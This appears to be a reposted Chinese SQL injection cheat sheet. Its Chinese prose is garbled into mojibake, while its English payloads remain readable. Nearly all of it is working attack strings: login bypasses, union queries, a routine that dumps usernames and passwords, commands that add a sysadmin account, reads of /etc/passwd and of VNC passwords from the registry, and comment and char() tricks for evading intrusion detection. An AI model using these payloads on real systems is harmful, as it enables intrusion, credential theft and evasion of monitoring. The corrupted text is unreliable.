SQL×¢Éä¼¼Êõºº»¯°æ
SQL×¢Éä¼¼Êõºº»¯°æ×ª×Ô£»http://nb.2sb.cn/?p=54
×÷ÕߣºÉî»ÒÉ«
====||Ŀ¼||=====
¡ª¡ª¡ª¡ª¡ª¡ª¨C
1¡¢¼ò½é
2¡¢Â©¶´²âÊÔ
3¡¢ÊÕ¼¯ÐÅÏ¢
4¡¢Êý¾ÝÀàÐÍ
5¡¢×¥È¡ÃÜÂë
6¡¢´´½¨Êý¾Ý¿âÕʺÅ
7¡¢MYSQLÀûÓÃ
8¡¢·þÎñÃûºÍÅäÖÃ
9¡¢ÔÚ×¢²á±íÖÐÕÒVNCÃÜÂë
10¡¢´Ì´©IDSÈÏÖ¤
11¡¢ÔÚMYSQLÖÐʹÓÃchar()ÆÛÆ
12¡¢ÓÃ×¢ÊͶã±ÜIDSÈÏÖ¤
13¡¢¹¹ÔìÎÞÒýºÅµÄ×Ö·û´®
====||ÎÄÕ¿ªÊ¼||====
1¡¢¼ò½é
µ±Äã¿´µ½Ò»¸ö·þÎñÆ÷Ö»¿ªÁË80¶Ë¿Ú£¬ÕâÔÚÒ»¶¨³Ì¶ÈÉÏ˵Ã÷¹ÜÀíÔ±°ÑϵͳµÄ²¹¶¡×öµÄºÜºÃ£¬ÎÒÃÇËùÒª×ö×îÓÐЧµÄ¹¥»÷ÔòÒ²Ó¦¸ÃתÏòWEB¹¥»÷¡£SQL×¢ÉäÊÇ×î³£ÓõĹ¥»÷·½Ê½¡£Äã¹¥»÷WENϵͳ£¨ASP£¬PHP£¬JSP£¬CGIµÈ£©±ÈÈ¥¹¥»÷ϵͳ»òÕ߯äËûµÄϵͳ·þÎñÒª¼òµ¥µÄ¶à¡£
SQL×¢ÉäÊÇͨ¹ýÒ³ÃæÖеÄÊäÈëÀ´ÆÛÆÊ¹µÃÆä¿ÉÒÔÔËÐÐÎÒÃǹ¹ÔìµÄ²éѯ»òÕß±ðµÄÃüÁÎÒÃÇÖªµÀÔÚWEBÉÏÃæÓкܶ๩ÎÒÃÇÊäÈë²ÎÊýµÄµØ·½£¬±ÈÈçÓû§Ãû¡¢ÃÜÂë»òÕßE_mail¡£
2¡¢Â©¶´²âÊÔ
×ʼÎÒÃÇÓ¦¸Ã´Ó×î¼òµ¥µÄÀ´ÊÔ£º
- Login:¡¯ or 1=1¨C
- Pass:¡¯ or 1=1¨C
- http://website/index.asp?id=¡¯ or 1=1¨C
»¹ÓÐÏÂÃæÕâÑùµÄ·½Ê½£º
- ¡® having 1=1¨C
- ¡® group by userid having 1=1¨C
- ¡® SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ¡®tablename¡¯)¨C
- ¡® union select sum(columnname) from tablename¨C
3¡¢ÊÕ¼¯ÐÅÏ¢
- ¡® or 1 in (select @@version)¨C
- ¡® union all select @@version¨C
ÉÏÃæ¾Í¿ÉÒԵõ½ÏµÍ³µÄ°æ±¾ºÍ²¹¶¡ÐÅÏ¢¡£
4¡¢Êý¾ÝÀàÐÍ
OracleÊý¾Ý¿â>>
¨C>SYS.USER_OBJECTS (USEROBJECTS)
¨C>SYS.USER_VIEWS
¨C>SYS.USER_TABLES
¨C>SYS.USER_VIEWS
¨C>SYS.USER_TAB_COLUMNS
¨C>SYS.USER_CATALOG
¨C>SYS.USER_TRIGGERS
¨C>SYS.ALL_TABLES
¨C>SYS.TAB
MySQLÊý¾Ý¿â
¨C>mysql.user
¨C>mysql.host
¨C>mysql.db
MS accessÊý¾Ý
¨C>MsysACEs
¨C>MsysObjects
¨C>MsysQueries
¨C>MsysRelationships
MS SQL ServerÊý¾Ý¿â
¨C>sysobjects
¨C>syscolumns
¨C>systypes
¨C>sysdatabases
5¡¢×¥È¡ÃÜÂë
ÓÃÀàËÆÏÂÃæµÄÓï¾ä¡£¡£¡£
//±£´æ²éѯµÄ½á¹û
step1 : ¡®; begin declare @var varchar(8000) set @var=¡¯:¡¯ select @var=@var+¡¯+login+¡¯/'+password+¡¯ ¡® from users where login > @var select @var as var into temp end ¨C
//È¡µÃÐÅÏ¢
step2 : ¡® and 1 in (select var from temp)¨C
//ɾ³ýÁÙʱ±í
step3 : ¡® ; drop table temp ¨C
6¡¢´´½¨Êý¾Ý¿âÕʺÅ
MS SQL
exec sp_addlogin ¡®name¡¯ , ¡®password¡¯
exec sp_addsrvrolemember ¡®name¡¯ , ¡¯sysadmin¡¯
MySQL
INSERT INTO mysql.user (user, host, password) VALUES (¡¯name¡¯, ¡®localhost¡¯, PASSWORD(¡¯pass123¡ä))
Access
CRATE USER name IDENTIFIED BY ¡®pass123¡ä
Postgres (requires Unix account)
CRATE USER name WITH PASSWORD ¡®pass123¡ä
Oracle
CRATE USER name IDENTIFIED BY pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;
7¡¢MYSQL½»»¥²éѯ
ʹÓÃUnion²éѯ£¬±©³öÎļþ´úÂ룬ÈçÏ£º
- ¡® union select 1,load_file(¡¯/etc/passwd¡¯),1,1,1;
8¡¢ÏµÍ³·þÎñÃûºÍÅäÖÃ
- ¡® and 1 in (select @@servername)¨C
- ¡® and 1 in (select servername from master.sysservers)¨C
9¡¢ÕÒµ½VNCÃÜÂ루ע²á±í£©
ʵÑéÓï¾äÈçÏ£º
- ¡®; declare @out binary(8)
- exec master..xp_regread
- @rootkey = ¡®HKEY_LOCAL_MACHINE¡¯,
- @key = ¡®SOFTWARE\ORL\WinVNC3\Default¡¯,
- @value_name=¡¯password¡¯,
- @value = @out output
- select cast (@out as bigint) as x into TEMP¨C
- ¡® and 1 in (select cast(x as varchar) from temp)¨C
10¡¢±Ü¿ªIDS¼ì²â
Evading ¡® OR 1=1 Signature
- ¡® OR ¡®unusual¡¯ = ¡®unusual¡¯
- ¡® OR ¡¯something¡¯ = ¡¯some¡¯+'thing¡¯
- ¡® OR ¡®text¡¯ = N¡¯text¡¯
- ¡® OR ¡¯something¡¯ like ¡¯some%¡¯
- ¡® OR 2 > 1
- ¡® OR ¡®text¡¯ > ¡®t¡¯
- ¡® OR ¡®whatever¡¯ in (¡¯whatever¡¯)
- ¡® OR 2 BETWEEN 1 and 3
11¡¢MYSQLÖÐʹÓÃchar()º¯Êý
²»´øÒýºÅµÄ×¢É䣬ÀýÈ磺 (string = ¡°%¡±):
¨C> ¡® or username like char(37);
´øÒýºÅµÄ×¢É䣬ÀýÈ磺 (string=¡±root¡±):
¨C> ¡® union select * from users where login = char(114,111,111,116);
ÔÚ unionsÖÐʹÓÃload files º¯Êý£¬ÀýÈ磺(string = ¡°/etc/passwd¡±):
¨C>¡¯ union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
¼ì²éÎļþÊÇ·ñ´æÔÚ£¬ÀýÈ磺 (string = ¡°n.ext¡±):
¨C>¡¯ and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
12¡¢ÀûÓÃ×¢ÊÍ·ûºÅ±Ü¿ªIDS
¾ÙÀýÈçÏ£º
¨C>¡¯/**/OR/**/1/**/=/**/1
¨C>Username:¡¯ or 1/*
¨C>Password:*/=1¨C
¨C>UNI/**/ON SEL/**/ECT £¨£¡£¡£¡Õâ¸ö±È½Ïº±¼û£¬Ó¦¸Ã´óÓÐ×÷Ϊ£¡£¡£¡£©
¨C>(Oracle) ¡®; EXECUTE IMMEDIATE ¡®SEL¡¯ || ¡®ECT US¡¯ || ¡®ER¡¯
¨C>(MS SQL) ¡®; EXEC (¡¯SEL¡¯ + ¡®ECT US¡¯ + ¡®ER¡¯)
13¡¢²»´øÒýºÅµÄ×Ö·û´®
ÓÃchar()»òÕß0XÀ´¹¹Ôì²»º¬ÒýºÅµÄÓï¾ä¡£¡£
¨C> INSERT INTO Users(Login, Password, Level) VALUES( char(0¡Á70) + char(0¡Á65) + char(0¡Á74) + char(0¡Á65) + char(0¡Á72) + char(0¡Á70) + char(0¡Á65) + char(0¡Á74) + char(0¡Á65) + char(0¡Á72), 0¡Á64)
Ò³:
[1]